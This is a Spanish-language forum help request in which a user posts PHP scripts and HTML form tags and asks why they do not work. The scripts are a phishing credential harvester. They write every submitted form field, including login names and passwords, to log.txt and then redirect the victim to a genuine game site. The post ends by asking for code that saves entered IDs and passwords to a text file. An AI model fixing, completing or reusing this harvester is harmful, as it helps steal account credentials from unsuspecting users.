ayuda con el formulario

[Victor123]

no logre que me funcionara probe con esto pero nada :/

<?php
$variable = $_POST['text_login'];
$variable = $_POST['login_field'];
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: http://fantazymu.web.id/index.php/ ');
exit;
?>

tambien con:

<?php
$variable = $_POST['account_login'];
$variable = $_POST['pass'];
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: http://www.pokemon.cl/index.php/ ');
exit;
?>

no se mucho de php pero creo que ahora es producto de esto:

<form action='' method='post' name='login_account' id='login_account'>

<FORM METHOD="post" ACTION="datos.php">

ya que al cambiarlo por eso noto que eso de ame='login_account' id='login_account' no se aplica
intente modificarlo por esto no se si exista pero tampoco funciono :/

<FORM METHOD='post' name='login_account' id='login_account' ACTION="datos.php">

porfavor es un caso puntual de php para mi, solo necesito poder solucionar eso, si me explican bien se los agradeceria demasiado gracias

EDIT:estuve leyendo con respecto a las secciones y seria mas facil agregar al index.php al inicio esto:

<?php
session_start ();

pero que codigo le pongo a continuacion para que copie todos datos puestos en la id y pass y despues los guarde en un txt?